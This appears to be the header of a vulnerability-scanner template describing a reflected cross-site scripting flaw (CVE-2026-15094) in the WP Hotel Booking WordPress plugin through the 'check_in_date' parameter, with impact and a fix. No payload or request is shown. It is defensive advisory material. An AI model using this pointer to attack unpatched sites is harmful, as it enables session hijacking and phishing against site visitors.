CVE-2026-15094: WP Hotel Booking <= 2.3.2 - Cross-Site Scripting

id: CVE-2026-15094

info:
  name: WP Hotel Booking <= 2.3.2 - Cross-Site Scripting
  author: SmigsBellamigs
  severity: medium
  description: |
    The WP Hotel Booking plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'check_in_date' parameter in all versions up to, and including, 2.3.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
  impact: |
    Successful exploitation requires user interaction, but allows unauthenticated attackers to inject arbitrary JavaScript in the context of the victim's session, enabling session hijacking, phishing, or defacement.
  remediation: |
    Update the WP Hotel Booking plugin to version 2.3.3 or later.
